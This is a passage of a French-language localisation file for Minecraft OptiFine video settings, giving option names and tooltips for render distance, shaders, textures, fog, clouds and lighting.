+of.options.renderDistance.normal=Normale +of.options.renderDistance.far=Lointaine +of.options.renderDistance.extreme=Extrême +of.options.renderDistance.insane=Insensée +of.options.renderDistance.ludicrous=Inimaginable + +options.renderDistance.tooltip.1=Distance d'affichage +options.renderDistance.tooltip.2= 2 Minimale - 32m (très rapide) +options.renderDistance.tooltip.3= 8 Normale - 128m (normal) +options.renderDistance.tooltip.4= 16 Lointaine - 256m (lent) +options.renderDistance.tooltip.5= 32 Extrême - 512m (très lent) - Très gourmand en ressources +options.renderDistance.tooltip.6= 48 Insensée - 768m, nécessite 2 Go de RAM allouée +options.renderDistance.tooltip.7= 64 Inimaginable - 1024m, nécessite 3 Go de RAM allouée +options.renderDistance.tooltip.8=Les valeurs au-dessus de 16 n'ont effet qu'en solo. + +options.ao.tooltip.1=Luminosité adoucie +options.ao.tooltip.2= Non - aucun adoucissement (rapide) +options.ao.tooltip.3= Minimum - Adoucissement simple (lent) +options.ao.tooltip.4= Maximum - Adoucissement complexe (très lent) + +options.framerateLimit.tooltip.1=FPS max +options.framerateLimit.tooltip.2= VSync - limite de l'écran (60, 30, 20) +options.framerateLimit.tooltip.3= 5-255 - variable +options.framerateLimit.tooltip.4= Illimitée - sans limite (très rapide) +options.framerateLimit.tooltip.5=La limite de FPS diminue le taux d'images par seconde +options.framerateLimit.tooltip.6=même si la valeur limite n'est pas atteinte. +of.options.framerateLimit.vsync=VSync + +of.options.AO_LEVEL=Ombres adoucies +of.options.AO_LEVEL.tooltip.1=Ombres adoucies +of.options.AO_LEVEL.tooltip.2= Non - aucune ombre +of.options.AO_LEVEL.tooltip.3= 50 %% - légères ombres +of.options.AO_LEVEL.tooltip.4= 100 %% - fortes ombres + +options.viewBobbing.tooltip.1=Mouvements plus réalistes. +options.viewBobbing.tooltip.2=Lors de l'utilisation du mipmap, définir sur "Non" pour de +options.viewBobbing.tooltip.3=meilleurs résultats. + +options.guiScale.tooltip.1=Taille de l'interface +options.guiScale.tooltip.2= Auto - taille maximale +options.guiScale.tooltip.3= Petite, Normale, Grande - 1x à 3x +options.guiScale.tooltip.4= 4x à 10x - Disponible pour les écrans 4K +options.guiScale.tooltip.5=Les valeurs impaires (1x, 3x, 5x ...) ne sont pas +options.guiScale.tooltip.6=compatibles avec l'Unicode. +options.guiScale.tooltip.7=Une petite interface peut rendre le jeu plus rapide. + +options.vbo=Utiliser les VBOs +options.vbo.tooltip.1=Utiliser les VBOs (objets en mémoire tampon) +options.vbo.tooltip.2=Utilise un autre modèle de rendu qui est habituellement +options.vbo.tooltip.3=plus rapide (5-10 %%) que le rendu par défaut. + +options.gamma.tooltip.1=Change la luminosité des endroits sombres +options.gamma.tooltip.2= Sombre - luminosité standard +options.gamma.tooltip.3= 1-99 %% - variable +options.gamma.tooltip.4= Vive - luminosité maximale pour les objets sombres +options.gamma.tooltip.5=Cette option ne change pas la luminosité des objets +options.gamma.tooltip.6=complètement noirs. + +options.anaglyph.tooltip.1=3D anaglyphe +options.anaglyph.tooltip.2=Active un effet stéréoscopique 3D utilisant +options.anaglyph.tooltip.3=différentes couleurs pour chaque Å“il. +options.anaglyph.tooltip.4=Nécessite des lunettes rouge-cyan pour une vue adaptée. + +options.attackIndicator.tooltip.1=Configure la position de l'indicateur d'attaque +options.attackIndicator.tooltip.2= Viseur - sous le viseur +options.attackIndicator.tooltip.3= Barre - à côté de la barre +options.attackIndicator.tooltip.4= Non - pas d'indicateur d'attaque +options.attackIndicator.tooltip.5=L'indicateur montre la force d'attaque de l'objet en main. + +of.options.ALTERNATE_BLOCKS=Blocs alternatifs +of.options.ALTERNATE_BLOCKS.tooltip.1=Blocs alternatifs +of.options.ALTERNATE_BLOCKS.tooltip.2=Utilise des modèles alternatifs pour certains blocs. +of.options.ALTERNATE_BLOCKS.tooltip.3=Dépend du pack de ressources sélectionné. + +of.options.FOG_FANCY=Brouillard +of.options.FOG_FANCY.tooltip.1=Type de brouillard +of.options.FOG_FANCY.tooltip.2= Rapide - brouillard rapide +of.options.FOG_FANCY.tooltip.3= Détaillé - meilleure apparence (plus lent) +of.options.FOG_FANCY.tooltip.4= Non - Aucun brouillard (très rapide) +of.options.FOG_FANCY.tooltip.5=Le brouillard détaillé n'est disponible que si la carte +of.options.FOG_FANCY.tooltip.6=graphique le prend en charge. + +of.options.FOG_START=Début du brouillard +of.options.FOG_START.tooltip.1=Début du brouillard +of.options.FOG_START.tooltip.2= 0.2 - Le brouillard commence près du joueur +of.options.FOG_START.tooltip.3= 0.8 - Le brouillard commence loin du joueur +of.options.FOG_START.tooltip.4=Ceci n'affecte généralement pas les performances. + +of.options.CHUNK_LOADING=Chargement des tronçons +of.options.CHUNK_LOADING.tooltip.1=Chargement des tronçons +of.options.CHUNK_LOADING.tooltip.2= Défaut - FPS instable lors du chargement des tronçons +of.options.CHUNK_LOADING.tooltip.3= Adouci - FPS stable +of.options.CHUNK_LOADING.tooltip.4= Multi-coeur - FPS stable, chargement 3x plus rapide +of.options.CHUNK_LOADING.tooltip.5=Adouci et Multi-coeur permettent d'éviter le ralentissement +of.options.CHUNK_LOADING.tooltip.6=et les lags causés par le chargement des tronçons. +of.options.CHUNK_LOADING.tooltip.7=Multi-coeur peut augmenter de 3x la vitesse de chargement +of.options.CHUNK_LOADING.tooltip.8=et augmenter les FPS en utilisant un autre coeur du processeur. +of.options.chunkLoading.smooth=Adouci +of.options.chunkLoading.multiCore=Multi-coeur + +of.options.shaders=Shaders... +of.options.shadersTitle=Shaders + +of.options.shaders.packNone=DÉSACTIVÉS +of.options.shaders.packDefault=(interne) + +of.options.shaders.ANTIALIASING=Anticrénelage +of.options.shaders.ANTIALIASING.tooltip.1=Anticrénelage +of.options.shaders.ANTIALIASING.tooltip.2= Non - (par défaut) pas d'anticrénelage (rapide) +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2x, 4x - anticrénelage des lignes et bords (lent) +of.options.shaders.ANTIALIASING.tooltip.4=FXAA est un effet de post-traitement qui adoucit les +of.options.shaders.ANTIALIASING.tooltip.5=lignes rugueuses et transitions rapides de couleur. +of.options.shaders.ANTIALIASING.tooltip.6=Il est plus rapide que l'anticrénelage traditionnel +of.options.shaders.ANTIALIASING.tooltip.7=et est compatible avec les shaders et le rendu rapide. + +of.options.shaders.NORMAL_MAP=Carte normale +of.options.shaders.NORMAL_MAP.tooltip.1=Carte normale +of.options.shaders.NORMAL_MAP.tooltip.2= Oui - (par défaut) Active les cartes normales +of.options.shaders.NORMAL_MAP.tooltip.3= Non - Désactive les cartes normales +of.options.shaders.NORMAL_MAP.tooltip.4=Les cartes normales peuvent être utilisées par les shaders +of.options.shaders.NORMAL_MAP.tooltip.5=pour simuler la géométrie 3D sur des surfaces de modèles plats. +of.options.shaders.NORMAL_MAP.tooltip.6=Les textures de cartes normales sont fournies par +of.options.shaders.NORMAL_MAP.tooltip.7=le pack de ressources utilisé. + +of.options.shaders.SPECULAR_MAP=Carte spéculaire +of.options.shaders.SPECULAR_MAP.tooltip.1=Carte spéculaire +of.options.shaders.SPECULAR_MAP.tooltip.2= Oui - (par défaut) Active les cartes spéculaires +of.options.shaders.SPECULAR_MAP.tooltip.3= Non - Désactive les cartes spéculaires +of.options.shaders.SPECULAR_MAP.tooltip.4=Les cartes spéculaires peuvent être utilisées par les shaders +of.options.shaders.SPECULAR_MAP.tooltip.5=pour simuler des reflets de lumière sur les surfaces. +of.options.shaders.SPECULAR_MAP.tooltip.6=Les textures de cartes spéculaires sont fournies par +of.options.shaders.SPECULAR_MAP.tooltip.7=le pack de ressources utilisé. + +of.options.shaders.RENDER_RES_MUL=Qualité du rendu +of.options.shaders.RENDER_RES_MUL.tooltip.1=Qualité du rendu +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - faible (rapide) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - standard (par défaut) +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - haute (lent) +of.options.shaders.RENDER_RES_MUL.tooltip.5=La qualité du rendu contrôle la taille des textures +of.options.shaders.RENDER_RES_MUL.tooltip.6=dont les shaders vont faire le rendu. +of.options.shaders.RENDER_RES_MUL.tooltip.7=Des valeurs faibles peuvent être utiles pour les écrans 4K. +of.options.shaders.RENDER_RES_MUL.tooltip.8=Des valeurs hautes servent de filtre d'anticrénelage. + +of.options.shaders.SHADOW_RES_MUL=Qualité des ombres +of.options.shaders.SHADOW_RES_MUL.tooltip.1=Qualité des ombres +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - faible (rapide) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - standard (par défaut) +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - haute (lent) +of.options.shaders.SHADOW_RES_MUL.tooltip.5=La qualité des ombres contrôle la taille de la texture +of.options.shaders.SHADOW_RES_MUL.tooltip.6=de la map des ombres utilisée par les shaders. +of.options.shaders.SHADOW_RES_MUL.tooltip.7=Valeurs faibles = ombres grossières, inexactes. +of.options.shaders.SHADOW_RES_MUL.tooltip.8=Valeurs hautes = ombres subtiles, détaillées. + +of.options.shaders.HAND_DEPTH_MUL=Profondeur de main +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=Profondeur de la main +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - Main proche de la caméra +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - (par défaut) +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - Main éloignée de la caméra +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=La profondeur de la main contrôle l'éloignement des +of.options.shaders.HAND_DEPTH_MUL.tooltip.6=objets tenus, par rapport à la caméra. +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=Cela devrait changer le flou des objets en main +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=pour les shaders avec un flou de profondeur de champ. + +of.options.shaders.CLOUD_SHADOW=Ombre des nuages + +of.options.shaders.OLD_HAND_LIGHT=Ancien éclairage de main +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=Ancien éclairage de la main +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= Par défaut - géré par le shader +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= Oui - utilise l'ancien éclairage de la main +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= Non - utilise le nouvel éclairage de la main +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=Ce réglage permet aux shaders qui ne reconnaissent que +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=les objets émettant de la lumière depuis la main principale +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=de marcher avec les objets dans la seconde main. + +of.options.shaders.OLD_LIGHTING=Ancien éclairage +of.options.shaders.OLD_LIGHTING.tooltip.1=Ancien éclairage +of.options.shaders.OLD_LIGHTING.tooltip.2= Par défaut - géré par le shader +of.options.shaders.OLD_LIGHTING.tooltip.3= Oui - utilise l'ancien éclairage +of.options.shaders.OLD_LIGHTING.tooltip.4= Non - n'utilise pas l'ancien éclairage +of.options.shaders.OLD_LIGHTING.tooltip.5=L'ancien éclairage contrôle l'éclairage fixe imposé par +of.options.shaders.OLD_LIGHTING.tooltip.6=défaut aux côtés des blocs. +of.options.shaders.OLD_LIGHTING.tooltip.7=Les shaders avec des ombres apportent généralement +of.options.shaders.OLD_LIGHTING.tooltip.8=un éclairage bien meilleur, selon la position du soleil. + +of.options.shaders.DOWNLOAD=Télécharger les shaders +of.options.shaders.DOWNLOAD.tooltip.1=Télécharger les shaders +of.options.shaders.DOWNLOAD.tooltip.2= +of.options.shaders.DOWNLOAD.tooltip.3=Ouvre la page des packs de shaders dans un navigateur. +of.options.shaders.DOWNLOAD.tooltip.4=Mettez les packs téléchargés dans le "Dossier des shaders" +of.options.shaders.DOWNLOAD.tooltip.5=et ils apparaîtront dans la liste des shaders installés. + +of.options.shaders.SHADER_PACK=Pack de shaders + +of.options.shaders.shadersFolder=Dossier des shaders +of.options.shaders.shaderOptions=Options du shader... + +of.options.shaderOptionsTitle=Options du shader + +of.options.quality=Qualité... +of.options.qualityTitle=Paramètres de la qualité + +of.options.details=Détails... +of.options.detailsTitle=Paramètres des détails + +of.options.performance=Performances... +of.options.performanceTitle=Paramètres des performances + +of.options.animations=Animations... +of.options.animationsTitle=Paramètres des animations + +of.options.other=Autres... +of.options.otherTitle=Autres paramètres + +of.options.other.reset=Réinitialiser les réglages vidéos... + +of.shaders.profile=Profil + +# Quality + +of.options.mipmap.bilinear=Bilinéaire +of.options.mipmap.linear=Linéaire +of.options.mipmap.nearest=Le plus proche +of.options.mipmap.trilinear=Trilinéaire + +options.mipmapLevels.tooltip.1=Effet visuel qui rend les objets lointains plus beaux +options.mipmapLevels.tooltip.2=en adoucissant les détails +options.mipmapLevels.tooltip.3= Non - aucun adoucissement +options.mipmapLevels.tooltip.4= 1 - adoucissement minimum +options.mipmapLevels.tooltip.5= 4 - adoucissement maximum +options.mipmapLevels.tooltip.6=Ceci n'affecte généralement pas les performances. + +of.options.MIPMAP_TYPE=Type de mipmap +of.options.MIPMAP_TYPE.tooltip.1=Effet visuel qui rend les objets lointains plus beau +of.options.MIPMAP_TYPE.tooltip.2=en adoucissant les détails +of.options.MIPMAP_TYPE.tooltip.3= Rapproché - adoucissement esquissé (rapide) +of.options.MIPMAP_TYPE.tooltip.4= Linéaire - adoucissement normal +of.options.MIPMAP_TYPE.tooltip.5= Bilinéaire - adoucissement travaillé +of.options.MIPMAP_TYPE.tooltip.6= Trilinéaire - adoucissement magnifique (lent) + + +of.options.AA_LEVEL=Anticrénelage +of.options.AA_LEVEL.tooltip.1=Anticrénelage +of.options.AA_LEVEL.tooltip.2= Non - (par défaut) sans anticrénelage (rapide) +of.options.AA_LEVEL.tooltip.3= 2-16 - anticrénelage des lignes et bords (lent) +of.options.AA_LEVEL.tooltip.4=L'anticrénelage adoucit les lignes rugueuses et les +of.options.AA_LEVEL.tooltip.5=transitions rapides de couleurs. +of.options.AA_LEVEL.tooltip.6=Les FPS peuvent fortement chuter lorsque cette option est activée. +of.options.AA_LEVEL.tooltip.7=Tous les niveaux ne sont pas supportés par toutes les cartes graphiques. +of.options.AA_LEVEL.tooltip.8=Ne prend effet qu'après un REDÉMARRAGE ! + +of.options.AF_LEVEL=Filtrage anisotrope +of.options.AF_LEVEL.tooltip.1=Filtrage anisotrope +of.options.AF_LEVEL.tooltip.2= Non - (par défaut) détail de texture standard (rapide) +of.options.AF_LEVEL.tooltip.3= 2-16 - détails plus fins dans les textures mipmappées (lent) +of.options.AF_LEVEL.tooltip.4=Le filtrage anisotrope rétablit les détails dans les +of.options.AF_LEVEL.tooltip.5=textures mipmappées. +of.options.AF_LEVEL.tooltip.6=Les FPS peuvent fortement chuter lorsque cette option est +of.options.AF_LEVEL.tooltip.7=activée. + +of.options.CLEAR_WATER=Eau claire +of.options.CLEAR_WATER.tooltip.1=Eau claire +of.options.CLEAR_WATER.tooltip.2= Oui - eau transparente, claire +of.options.CLEAR_WATER.tooltip.3= Non - eau par défaut + +of.options.RANDOM_ENTITIES=Entités aléatoires +of.options.RANDOM_ENTITIES.tooltip.1=Entités aléatoires +of.options.RANDOM_ENTITIES.tooltip.2= Non - aucune entité aléatoire (rapide) +of.options.RANDOM_ENTITIES.tooltip.3= Oui - entités aléatoires activées (lent) +of.options.RANDOM_ENTITIES.tooltip.4=Utilise des textures aléatoires pour les entités du jeu. +of.options.RANDOM_ENTITIES.tooltip.5=Nécessite un pack de ressources avec plusieurs +of.options.RANDOM_ENTITIES.tooltip.6=textures par entité. + +of.options.BETTER_GRASS=Meilleurs blocs d'herbe +of.options.BETTER_GRASS.tooltip.1=Meilleurs blocs d'herbe +of.options.BETTER_GRASS.tooltip.2= Non - texture par défaut (rapide) +of.options.BETTER_GRASS.tooltip.3= Rapides - bords de bloc d'herbe complet (lent) +of.options.BETTER_GRASS.tooltip.4= Détaillés - bords de bloc d'herbe détaillés (très lent) + +of.options.BETTER_SNOW=Meilleure neige +of.options.BETTER_SNOW.tooltip.1=Meilleure neige +of.options.BETTER_SNOW.tooltip.2= Non - Neige par défaut (rapide) +of.options.BETTER_SNOW.tooltip.3= Oui - Meilleure neige (lent) +of.options.BETTER_SNOW.tooltip.4=Fait apparaître de la neige sous des blocs transparents +of.options.BETTER_SNOW.tooltip.5=(barrière, hautes herbes) lorsqu'ils sont entourés de +of.options.BETTER_SNOW.tooltip.6=neige. + +of.options.CUSTOM_FONTS=Police personnalisée +of.options.CUSTOM_FONTS.tooltip.1=Police personnalisée +of.options.CUSTOM_FONTS.tooltip.2= Oui - utilise la police personnalisée (par défaut, lent) +of.options.CUSTOM_FONTS.tooltip.3= Non - utilise la police par défaut (rapide) +of.options.CUSTOM_FONTS.tooltip.4=La police personnalisée est fournie par le pack de +of.options.CUSTOM_FONTS.tooltip.5=ressources utilisé. + +of.options.CUSTOM_COLORS=Couleurs personnalisées +of.options.CUSTOM_COLORS.tooltip.1=Couleurs personnalisées +of.options.CUSTOM_COLORS.tooltip.2= Oui - utilise des couleurs personnalisées (par défaut, lent) +of.options.CUSTOM_COLORS.tooltip.3= Non - utilise les couleurs par défaut (rapide) +of.options.CUSTOM_COLORS.tooltip.4=Les couleurs personnalisées sont fournies par le pack +of.options.CUSTOM_COLORS.tooltip.5=de ressources utilisé. + +of.options.SWAMP_COLORS=Couleurs marécageuses +of.options.SWAMP_COLORS.tooltip.1=Couleurs marécageuses +of.options.SWAMP_COLORS.tooltip.2= Oui - utilise des couleurs marécageuses (par défaut, lent) +of.options.SWAMP_COLORS.tooltip.3= Non - n'utilise pas de couleurs marécageuses (rapide) +of.options.SWAMP_COLORS.tooltip.4=Les couleurs marécageuses modifient la pelouse, les +of.options.SWAMP_COLORS.tooltip.5=feuilles, les lianes et l'eau. + +of.options.SMOOTH_BIOMES=Biomes adoucis +of.options.SMOOTH_BIOMES.tooltip.1=Biomes adoucis +of.options.SMOOTH_BIOMES.tooltip.2= Oui - adoucit la bordure des biomes (par défaut, lent) +of.options.SMOOTH_BIOMES.tooltip.3= Non - n'adoucit pas la bordure des biomes (rapide) +of.options.SMOOTH_BIOMES.tooltip.4=L'adoucissement des bordures est fait en échantillonnant et +of.options.SMOOTH_BIOMES.tooltip.5=moyennant la couleur des blocs aux frontières de biomes. +of.options.SMOOTH_BIOMES.tooltip.6=N'affecte que la pelouse, les feuilles, les lianes et l'eau. + +of.options.CONNECTED_TEXTURES=Textures connectées +of.options.CONNECTED_TEXTURES.tooltip.1=Textures connectées +of.options.CONNECTED_TEXTURES.tooltip.2= Non - aucune connexion (par défaut) +of.options.CONNECTED_TEXTURES.tooltip.3= Rapides - connexions rapides +of.options.CONNECTED_TEXTURES.tooltip.4= Détaillés - connexions détaillées +of.options.CONNECTED_TEXTURES.tooltip.5=Les textures connectées connecte les textures des +of.options.CONNECTED_TEXTURES.tooltip.6=vitres, du grès et des bibliothèques placés côte-à-côte. +of.options.CONNECTED_TEXTURES.tooltip.7=Les textures connectées sont fournies par le pack de +of.options.CONNECTED_TEXTURES.tooltip.8=ressources utilisé. + +of.options.NATURAL_TEXTURES=Textures naturelles +of.options.NATURAL_TEXTURES.tooltip.1=Textures naturelles +of.options.NATURAL_TEXTURES.tooltip.2= Non - sans textures naturelles (par défaut) +of.options.NATURAL_TEXTURES.tooltip.3= Oui - avec textures naturelles +of.options.NATURAL_TEXTURES.tooltip.4=Les textures naturelles enlèvent le motif grillagé créé +of.options.NATURAL_TEXTURES.tooltip.5=par la répétition de blocs identiques, en utilisant des +of.options.NATURAL_TEXTURES.tooltip.6=variations pivotées et retournées de la texture du bloc. +of.options.NATURAL_TEXTURES.tooltip.7=La configuration pour les textures naturelles est fournie +of.options.NATURAL_TEXTURES.tooltip.8=par le pack de ressources utilisé. + +of.options.EMISSIVE_TEXTURES=Textures émissives +of.options.EMISSIVE_TEXTURES.tooltip.1=Textures émissives +of.options.EMISSIVE_TEXTURES.tooltip.2= Non - pas de textures émissives (par défaut) +of.options.EMISSIVE_TEXTURES.tooltip.3= Oui - utilise des textures émissives +of.options.EMISSIVE_TEXTURES.tooltip.4=Les textures émissives sont rendues en tant que surcouche +of.options.EMISSIVE_TEXTURES.tooltip.5=avec luminosité maximale. Elles peuvent être utilisées pour +of.options.EMISSIVE_TEXTURES.tooltip.6=simuler des parties lumineuses dans les textures de base. +of.options.EMISSIVE_TEXTURES.tooltip.7=Les textures émissives sont fournies par le pack de +of.options.EMISSIVE_TEXTURES.tooltip.8=ressources utilisé. + +of.options.CUSTOM_SKY=Ciel personnalisé +of.options.CUSTOM_SKY.tooltip.1=Ciel personnalisé +of.options.CUSTOM_SKY.tooltip.2= Oui - texture de ciel personnalisée (par défaut, lent) +of.options.CUSTOM_SKY.tooltip.3= Non - ciel par défaut (rapide) +of.options.CUSTOM_SKY.tooltip.4=Les textures de ciel personnalisé sont fournies par le +of.options.CUSTOM_SKY.tooltip.5=pack de ressources utilisé. + +of.options.CUSTOM_ITEMS=Objets personnalisés +of.options.CUSTOM_ITEMS.tooltip.1=Objets personnalisés +of.options.CUSTOM_ITEMS.tooltip.2= Oui - textures d'objets personnalisés (par défaut, lent) +of.options.CUSTOM_ITEMS.tooltip.3= Non - textures d'objets par défaut (rapide) +of.options.CUSTOM_ITEMS.tooltip.4=Les textures d'objets personnalisés sont fournis par +of.options.CUSTOM_ITEMS.tooltip.5=le pack de ressources utilisé. + +of.options.CUSTOM_ENTITY_MODELS=Modèles d'entités perso. +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=Modèles d'entités personnalisées +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= Oui - modèles d'entités personnalisées (par défaut, lent) +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= Non - modèles d'entités par défaut (rapide) +of.options.CUSTOM_ENTITY_MODELS.tooltip.4=Les modèles d'entités personnalisées sont fournis par le +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=pack de ressources utilisé. + +of.options.CUSTOM_GUIS=Interfaces perso. +of.options.CUSTOM_GUIS.tooltip.1=Interfaces personnalisées +of.options.CUSTOM_GUIS.tooltip.2= Oui - interfaces personnalisées (par défaut, lent) +of.options.CUSTOM_GUIS.tooltip.3= Non - interfaces par défaut (rapide) +of.options.CUSTOM_GUIS.tooltip.4=Les interfaces personnalisées sont fournies par le pack +of.options.CUSTOM_GUIS.tooltip.5=de ressources utilisé. + +# Details + +of.options.CLOUDS=Nuages +of.options.CLOUDS.tooltip.1=Nuages +of.options.CLOUDS.tooltip.2= Par défaut - comme dans les options graphiques +of.options.CLOUDS.tooltip.3= Rapides - basse qualité (rapide) +of.options.CLOUDS.tooltip.4= Détaillés - haute qualité (lent) +of.options.CLOUDS.tooltip.5= Non - sans nuages (plus rapide) +of.options.CLOUDS.tooltip.6=Les nuages rapides sont rendus en 2D. +of.options.CLOUDS.tooltip.7=Les nuages détaillés sont rendus en 3D. + +of.options.CLOUD_HEIGHT=Hauteur des nuages +of.options.CLOUD_HEIGHT.tooltip.1=Hauteur des nuages +of.options.CLOUD_HEIGHT.tooltip.2= Non - hauteur par défaut +of.options.CLOUD_HEIGHT.tooltip.3= 100 %% - au-dessus de la limite de hauteur du monde + +of.options.TREES=Arbres +of.options.TREES.tooltip.1=Arbres +of.options.TREES.tooltip.2= Par défaut - comme dans les options graphiques +of.options.TREES.tooltip.3= Rapides - basse qualité (plus rapide) +of.options.TREES.tooltip.4= Approfondis - haute qualité (rapide) +of.options.TREES.tooltip.5= Détaillés - très haute qualité (lent) +of.options.TREES.tooltip.6=Les arbres rapides ont des feuilles opaques. +of.options.TREES.tooltip.7=Les arbres approfondis et détaillés ont des feuilles +of.options.TREES.tooltip.8=transparentes. + +of.options.RAIN=Pluie & neige +of.options.RAIN.tooltip.1=Pluie & neige +of.options.RAIN.tooltip.2= Par défaut - comme dans les options graphiques +of.options.RAIN.tooltip.3= Rapide - légère pluie/neige (rapide) +of.options.RAIN.tooltip.4= Détaillés - grosse pluie/neige (lent) +of.options.RAIN.tooltip.5= Non - sans pluie/neige (plus rapide) +of.options.RAIN.tooltip.6=Même si la pluie et la neige sont désactivées, les +of.options.RAIN.tooltip.7=éclaboussures et le son sont toujours présents. + +of.options.SKY=Ciel +of.options.SKY.tooltip.1=Ciel +of.options.SKY.tooltip.2= Oui - le ciel est visible (lent) +of.options.SKY.tooltip.3= Non - le ciel n'est pas visible (rapide) +of.options.SKY.tooltip.4=Quand le ciel est désactivé, le soleil et la lune sont +of.options.SKY.tooltip.5=toujours visibles. + +of.options.STARS=Étoiles +of.options.STARS.tooltip.1=Étoiles +of.options.STARS.tooltip.2= Oui - les étoiles sont visibles (lent) +of.options.STARS.tooltip.3= Non - les étoiles ne sont pas visibles (rapide) + +of.options.SUN_MOON=Soleil & Lune +of.options.SUN_MOON.tooltip.1=Soleil & Lune +of.options.SUN_MOON.tooltip.2= Oui - le Soleil et la Lune sont visibles (par défaut) +of.options.SUN_MOON.tooltip.3= Non - le Soleil et la Lune ne sont pas visibles (rapide) + +of.options.SHOW_CAPES=Capes visibles +of.options.SHOW_CAPES.tooltip.1=Capes visibles +of.options.SHOW_CAPES.tooltip.2= Oui - voir la cape des joueurs (par défaut) +of.options.SHOW_CAPES.tooltip.3= Non - ne pas voir la cape des joueurs + +of.options.TRANSLUCENT_BLOCKS=Blocs translucides +of.options.TRANSLUCENT_BLOCKS.tooltip.1=Blocs translucides +of.options.TRANSLUCENT_BLOCKS.tooltip.2= Par défaut - comme défini par les graphismes +of.options.TRANSLUCENT_BLOCKS.tooltip.3= Détaillés - mélange correct des couleurs (lent) +of.options.TRANSLUCENT_BLOCKS.tooltip.4= Rapides - mélange rapide des couleurs (rapide) +of.options.TRANSLUCENT_BLOCKS.tooltip.5=Contrôle le mélange des couleurs des blocs translucides +of.options.TRANSLUCENT_BLOCKS.tooltip.6=avec différentes couleurs (verre teinté, eau, glace) +of.options.TRANSLUCENT_BLOCKS.tooltip.7=lorsque placé un à côté de l'autre avec de l'air entre eux. + +of.options.HELD_ITEM_TOOLTIPS=Infobulles d'objets +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=Infobulles d'objets +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= Oui - affiche des infos sur l'objet en main (par défaut) +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= Non - n'affiche pas d'info sur l'objet en main + +of.options.ADVANCED_TOOLTIPS=Infobulles avancées +of.options.ADVANCED_TOOLTIPS.tooltip.1=Infobulles avancées +of.options.ADVANCED_TOOLTIPS.tooltip.2= Oui - affiche les infobulles avancées +of.options.ADVANCED_TOOLTIPS.tooltip.3= Non - n'affiche pas les infobulles avancées (par défaut) +of.options.ADVANCED_TOOLTIPS.tooltip.4=Les infobulles avancées affiche des informations détaillées +of.options.ADVANCED_TOOLTIPS.tooltip.5=sur l'objet (ID, durabilité) et les options des shaders +of.options.ADVANCED_TOOLTIPS.tooltip.6=(ID, source, valeur par défaut). + +of.options.DROPPED_ITEMS=Objets lâchés +of.options.DROPPED_ITEMS.tooltip.1=Objets lâchés +of.options.DROPPED_ITEMS.tooltip.2= Par défaut - comme dans les options graphiques +of.options.DROPPED_ITEMS.tooltip.3= Rapides - objets 2D (rapide) +of.options.DROPPED_ITEMS.tooltip.4= Détaillés - objets 3D (lent) + +options.entityShadows.tooltip.1=Ombres des entités +options.entityShadows.tooltip.2= Oui - affiche l'ombre des entités +options.entityShadows.tooltip.3= Non - n'affiche pas l'ombre des entités + +of.options.VIGNETTE=Vignette +of.options.VIGNETTE.tooltip.1=Effet visuel qui assombrit les coins de l'écran +of.options.VIGNETTE.tooltip.2= Par défaut - comme dans les options graphiques +of.options.VIGNETTE.tooltip.3= Rapides - vignette désactivée (rapide) +of.options.VIGNETTE.tooltip.4= Détaillés - vignette activée (lent) +of.options.VIGNETTE.tooltip.5=La vignette peut avoir un effet significatif sur les FPS, +of.options.VIGNETTE.tooltip.6=notamment lorsque le jeu est en plein écran. +of.options.VIGNETTE.tooltip.7=L'effet de vignette est très subtil et peut être désactivé +of.options.VIGNETTE.tooltip.8=en toute sécurité. + +of.options.DYNAMIC_FOV=Champ visuel dynamique +of.options.DYNAMIC_FOV.tooltip.1=Champ de vision dynamique +of.options.DYNAMIC_FOV.tooltip.2= Oui - activer le champ de vision dynamique (par défaut) +of.options.DYNAMIC_FOV.tooltip.3= Non - désactiver le champ de vision dynamique +of.options.DYNAMIC_FOV.tooltip.4=Change le champ de vision lors du vol, du sprint, de la +of.options.DYNAMIC_FOV.tooltip.5=nage et du bandage d'un arc. + +of.options.DYNAMIC_LIGHTS=Lumières dynamiques +of.options.DYNAMIC_LIGHTS.tooltip.1=Lumières dynamiques +of.options.DYNAMIC_LIGHTS.tooltip.2= Non - aucune lumière dynamique (par défaut) +of.options.DYNAMIC_LIGHTS.tooltip.3= Rapides - lumières dynamiques rafraîchies tous les 500 ms +of.options.DYNAMIC_LIGHTS.tooltip.4= Détaillés - Lumières dynamiques rafraîchies en temps réel +of.options.DYNAMIC_LIGHTS.tooltip.5=Permet aux objets émetteurs de lumière (torche, pierre +of.options.DYNAMIC_LIGHTS.tooltip.6=lumineuse, etc.) d'illuminer tout autour du joueur quand +of.options.DYNAMIC_LIGHTS.tooltip.7=l'objet est en main, équipé par d'autres joueurs ou jeté +of.options.DYNAMIC_LIGHTS.tooltip.8=au sol. + +options.biomeBlendRadius.tooltip.1=Adoucit la transition de couleur entre les biomes +options.biomeBlendRadius.tooltip.2= Non - pas de transition (rapide) +options.biomeBlendRadius.tooltip.3= 5x5 - transition normale (par défaut) +options.biomeBlendRadius.tooltip.4= 15x15 - transition maximale (lent) +options.biomeBlendRadius.tooltip.5=Des valeurs hautes peuvent causer d'importants pics de +options.biomeBlendRadius.tooltip.6=lag et 